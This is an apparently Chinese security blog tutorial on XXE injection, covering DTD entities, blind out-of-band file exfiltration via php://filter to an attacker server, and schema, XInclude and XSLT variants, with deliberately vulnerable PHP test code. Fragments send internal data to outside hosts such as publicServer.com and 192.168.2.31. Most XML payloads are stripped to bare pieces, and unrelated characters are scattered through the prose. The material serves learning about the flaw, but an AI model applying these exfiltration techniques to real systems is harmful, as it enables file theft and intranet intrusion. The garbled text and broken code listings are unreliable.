0×00 背景
近期看到OWASP TOP 10 2017 版中添加了XXE的內(nèi)容便對XXE的一些知識進行梳理和總結(jié)朴肺,XXE可以使用例如http,file等協(xié)議,所以可以利用支持的協(xié)議進行內(nèi)網(wǎng)探測和內(nèi)網(wǎng)入侵,這部分的內(nèi)容后續(xù)在SSRF中補充。
要點:libxml2.9.1及以后赏陵,默認不解析外部實體。測試的時候window下使用的是php5.2(libxml Version
2.7.7 ), php5.3(libxml Version
2.7.8)饲漾。Linux中需要將libxml低于libxml2.9.1的版本編譯到PHP中蝙搔,可以使用phpinfo()查看libxml的版本信息。
參考鏈接:
http://vulhub.org/#/environments/php_xxe/
有回顯有報錯測試代碼:
1.
2.$xml=simplexml_load_string($_POST['xml']);
3.print_r($xml);
4.?>
無回顯無報錯測試代碼:
1.
2.$xml=@simplexml_load_string($_POST['xml']);
3.?>
0×01 DTD的基礎知識
概念:
XXE:XML External Entity 即外部實體考传,從安全角度理解成XML External Entity attack 外部實體注入攻擊吃型。
DTD:Document Type Definition 即文檔類型定義,用來為XML文檔定義語義約束僚楞∏谕恚可以嵌入在XML文檔中(內(nèi)部聲明),也可以獨立的放在一個文件中(外部引用)泉褐,由于其支持的數(shù)據(jù)類型有限赐写,無法對元素或?qū)傩缘膬?nèi)容進行詳細規(guī)范,在可讀性和可擴展性方面也比不上XML Schema膜赃。
參考鏈接:http://www.w3school.com.cn/dtd/
首先了解下基本的PAYLOAD結(jié)構挺邀,然后再介紹每部分涉及的知識點,如下PAYLOAD開頭進行了XML的聲明,然后使用DTD聲明實體(這里使用了file協(xié)議)悠夯,最后使用XML獲取實體的數(shù)據(jù)。
基本的PAYLOAD結(jié)構:
使用DTD實體的攻擊方式 :
DTD 引用方式(簡要了解):
1. DTD 內(nèi)部聲明
2. DTD 外部引用
3. 引用公共DTD
示例:
“http://mybatis.org/dtd/mybatis-3-config.dtd”>
……
命名方法:以!DOCTYPE開始,configuration是文檔根元素名稱躺坟;
PUBLIC表示是公共DTD沦补;-表示是非ISO組織;mybatis.org表示組織咪橙;
DTD 表示類型夕膀;Config 表示標簽;3.0是標簽后附帶的版本號美侦;
EN表示DTD語言是英語产舞;最后是DTD的URL;
DTD 實體聲明(重點學習):
1. 內(nèi)部實體聲明
一個實體由三部分構成:&符號, 實體名稱, 分號 (;)菠剩,這里&不論在GET還是在POST中都需要進行URL編碼易猫,因為是使用參數(shù)傳入xml的,&符號會被認為是參數(shù)間的連接符號具壮,示例:
1.
2.]>
3.&xxe;
2. 外部實體聲明
外部引用可支持http准颓,file等協(xié)議,不同的語言支持的協(xié)議不同棺妓,但存在一些通用的協(xié)議攘已,具體內(nèi)容如下所示:
示例:
1.
2.]>
3.&xxe;
3. 參數(shù)實體聲明
1.
2.or
3.
示例:
1.
2.
3.%xxe;]>
4.&evil;
外部evil.dtd中的內(nèi)容。
4. 引用公共實體
0×02 XXE的利用方式-DTD
使用DTD的利用方式
利用xxe漏洞可以進行拒絕服務攻擊怜跑,文件讀取样勃,命令(代碼)執(zhí)行,SQL(XSS)注入性芬,內(nèi)外掃描端口峡眶,入侵內(nèi)網(wǎng)站點等,內(nèi)網(wǎng)探測和入侵是利用xxe中支持的協(xié)議進行內(nèi)網(wǎng)主機和端口發(fā)現(xiàn)植锉,可以理解是使用xxe進行SSRF的利用幌陕,基本上啥都能做了:-)
一般xxe利用分為兩大場景:有回顯和無回顯。有回顯的情況可以直接在頁面中看到Payload的執(zhí)行結(jié)果或現(xiàn)象汽煮,無回顯的情況又稱為blind xxe搏熄,可以使用外帶數(shù)據(jù)通道提取數(shù)據(jù)。
1. 有回顯情況:
有回顯的情況可以使用如下的兩種方式進行XXE注入攻擊暇赤。
1.
2.]>
3.&xxe;
1.
2.
3.%xxe;]>
4.&evil;
外部evil.dtd中的內(nèi)容心例。
當然也可以進行內(nèi)網(wǎng)站點的入侵(屬于SSRF的內(nèi)容 后續(xù)補充)。
2. 無回顯的情況:
可以使用外帶數(shù)據(jù)通道提取數(shù)據(jù)鞋囊,先使用php://filter獲取目標文件的內(nèi)容止后,然后將內(nèi)容以http請求發(fā)送到接受數(shù)據(jù)的服務器(攻擊服務器)xxx.xxx.xxx。
1.
2. ?
3. ?
4.%dtd;
5.%send;
6.]>
evil.dtd的內(nèi)容,內(nèi)部的%號要進行實體編碼成%译株。
1.
2. “”
3. >
4.%all;
有報錯直接查看報錯信息瓜喇。
無報錯需要訪問接受數(shù)據(jù)的服務器中的日志信息,可以看到經(jīng)過base64編碼過的數(shù)據(jù)歉糜,解碼后便可以得到數(shù)據(jù)乘寒。
XXE的拓展知識
0×01 xmlns的基本知識
接下來說一些拓展的知識,這些攻擊方式匪补,需要有某些條件才能正常利用伞辛,下文僅對互聯(lián)網(wǎng)上的一些知識進行梳理,暫未驗證夯缺。
概念:
XML Schema:稱為可擴展標記語言架構瑟啃,用來定義 XML 文檔的合法構建模塊蹭沛,類似 DTD,Schema是DTD的替代者, 它比DTD可以做更多的事情 。
參考鏈接:
http://www.w3school.com.cn/schema/schema_intro.asp
先說下xmlns折联,當有多個文檔被一起使用時候不同文檔可能帶有不同內(nèi)容和定義名稱相同的元素暴心,這樣就會發(fā)生命名沖突冷尉,XML解釋器無法確定如何處理這類沖突豁跑,而xmlns可以解決這個問題,我們?yōu)闃撕炋砑恿艘粋€
xmlns 屬性典蝌,這樣就為前綴賦予了一個與某個命名空間相關聯(lián)的限定名稱曙砂。此時再把它們放在一起,XML解析器就不會報錯了骏掀。
1.
2.
3. ?
4. ? ?Apples
5. ? ?Bananas
6. ?
7.
語法:xmlns=”namespaceURI”表示默認的Namespace鸠澈,可以不使用前綴;非默認的便需要使用前綴避免XML報錯截驮。
xmlns:namespace-prefix=”namespaceURI”笑陈,其中namespace-prefix為自定義前綴,只要在這個XML文檔中保證前綴不重復即可葵袭;namespaceURI是這個前綴對應的XML
Namespace的定義涵妥,如下例子中的xmlns:xsi表示使用xsi作為前綴的Namespace。
xsi:schemaLocation屬性便是Namespace為http://www.w3.org/2001/XMLSchema-instance里的schemaLocation屬性坡锡。xsi:schemaLocation定義了XML
Namespace和對應的 XSD(Xml Schema
Definition)文檔的位置的關系蓬网。它的值由一個或多個URI引用對組成,兩個URI之間以空白符分隔(空格和換行均可)鹉勒。第一個URI是定義的
XML
Namespace的值帆锋,第二個URI給出Schema文檔的位置,Schema處理器將從這個位置讀取Schema文檔禽额,文檔的targetNamespace必須與第一個URI相匹锯厢,具體內(nèi)容如下所示:
1.
2.
3.
4.xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
5.xsi:schemaLocation=”http://www.springframework.org/schema/context
6. ? ? ? ? ? ? ? ? ? ?http://www.springframework.org/schema/context/spring-context.xsd”
7.
8.targetNamespace=”http://www.springframework.org/schema/context”
9…….
10.
0×02 使用XML Schema 實體的攻擊方式
XML Schema攻擊的分類
根據(jù)FB的小編對外文的翻譯皮官,得知XML Schema攻擊分為:
1.schemaLocation
2.noNamespaceSchemaLocation
3.XInclude。
4.XSLT 攻擊
1. schemaLocation
在OWASP 的XML External Entity Attacks(XXE)議題中有看到這這個知識點实辑,但是具體的案例并未找到捺氢,F(xiàn)B給出了如下的示例。
1.
2.
3.
4.%remote;
5.]>
6.
7. ? xmlns:ttt=”http://test.com/attack”
8. xsi:schemaLocation=”ttt http://publicServer.com/&internal;”>4
2. noNamespaceSchemaLocation
與schemaLocation一樣剪撬,在OWASP 的XML External Entity Attacks(XXE)議題中有看到這個知識點摄乒,但是具體的案例并未找到,F(xiàn)B給出了如下的示例婿奔,也給出了SSRF的示例,但是在示例中總覺得有些詭異问慎,這也是我疑惑的地方萍摊。
1.
2.
3.
4.%remote;
5.]>
6.
7. ? ?xsi:noNamespaceSchemaLocation=”http://publicServer.com/&internal;”>
3. XInclude
XInclude在XML Schema, DTD, and Entity Attacks 的文檔中有提到,但是經(jīng)過測試和查閱材料如叼,在微軟的將 XML 文檔與 XInclude 合并在一起這篇文檔中有提到并不是所有XML 語法分析程序都支持 XInclude冰木,W3C在XInclude Implementations Report中列出了支持的列表,include的href屬性中可以進行文件讀取笼恰,也可以使用協(xié)議進行SSRF踊沸,freebuf中是使用DTD實體的方式再結(jié)合XInclude進行利用的,似乎覺得有些不大貼切社证,因為如果可以使用XInclude的話那么就不需要使用DTD了逼龟,直接在href屬性中利用協(xié)議獲取信息,即可追葡;但是FB這種在屬性處使用&internal;的思路值得借鑒腺律。
XML Schema, DTD, and Entity Attacks中的示例:
freebuf的示例,如下所示:
1.
2.
3.
4.%remote;
5.]>
6.
xmlns:xi=”http://www.w3.org/2001/XInclude”>
href=”http://192.168.2.31/&internal;”
parse=”text”>
以上示例中external_entity_attribute.dtd文件的內(nèi)容宜肉,根據(jù)示例中的參數(shù)實體payload的聲明匀钧,在此處應該可以使用各種協(xié)議進行SSRF等操作。
1.
2.”>
3.%param1;
4. XSLT 攻擊
這個攻擊方式在XML Out-Of-Band Data
Retrieval有提到谬返,可以通過如下的方式先用document()獲得目標主機的信息之斯,然后使用concat()將數(shù)據(jù)與evil主機進行拼接,然后document()訪問拼接后的地址遣铝,便可以在evil主機日志上獲得信息佑刷。
XSL中document() 用于訪問外部 XML 文檔中的節(jié)點;concat(string,string,…)用于返回字符串的拼接酿炸。
0×03 總結(jié)
互聯(lián)網(wǎng)上XXE的文章還是很多的项乒,所以先進行知識的梳理,方便學習和提高梁沧,本文參考了互聯(lián)網(wǎng)上各個師傅和前輩的文章進行總結(jié)和梳理檀何,在拓展部分的知識還有許多地方還未進行實踐和驗證,僅是先做個記錄方便后續(xù)完善和測試,大家如果已經(jīng)復現(xiàn)過了或者有更好場景频鉴,期待一起交流栓辜,如下是撰寫本文的參考鏈接。
參考鏈接:
http://www.w3school.com.cn/dtd/dtd_intro.asp
http://www.w3school.com.cn/schema/schema_summary.asp
http://www.w3school.com.cn/xml/xml_usedfor.asp
https://www.w3.org/XML/2002/09/xinclude-implementation
http://www.runoob.com/xsl/xsl-browsers.html
http://blog.csdn.net/sunxing007/article/details/5684265
http://blog.csdn.net/a19881029/article/details/41890347
http://blog.csdn.net/zhch152/article/details/8191377
http://xmlwriter.net/xml_guide/entity_declaration.shtml
http://www.mamicode.com/info-detail-1208231.html
http://blog.csdn.net/u013224189/article/details/49759845
http://www.91ri.org/17052.html
http://www.91ri.org/9539.html
http://www.91ri.org/12618.html
http://www.91ri.org/12814.html
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#PHP
http://www.freebuf.com/articles/web/126788.html
http://www.freebuf.com/articles/web/97833.html
https://msdn.microsoft.com/zh-cn/library/aa302291.aspx
https://security.tencent.com/index.php/blog/msg/69
http://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf
https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf
https://www.vsecurity.com//download/papers/XMLDTDEntityAttacks.pdf
https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf
https://github.com/BuffaloWill/oxml_xxe/tree/master/samples
https://github.com/CHYbeta/Web-Security-Learning#xxe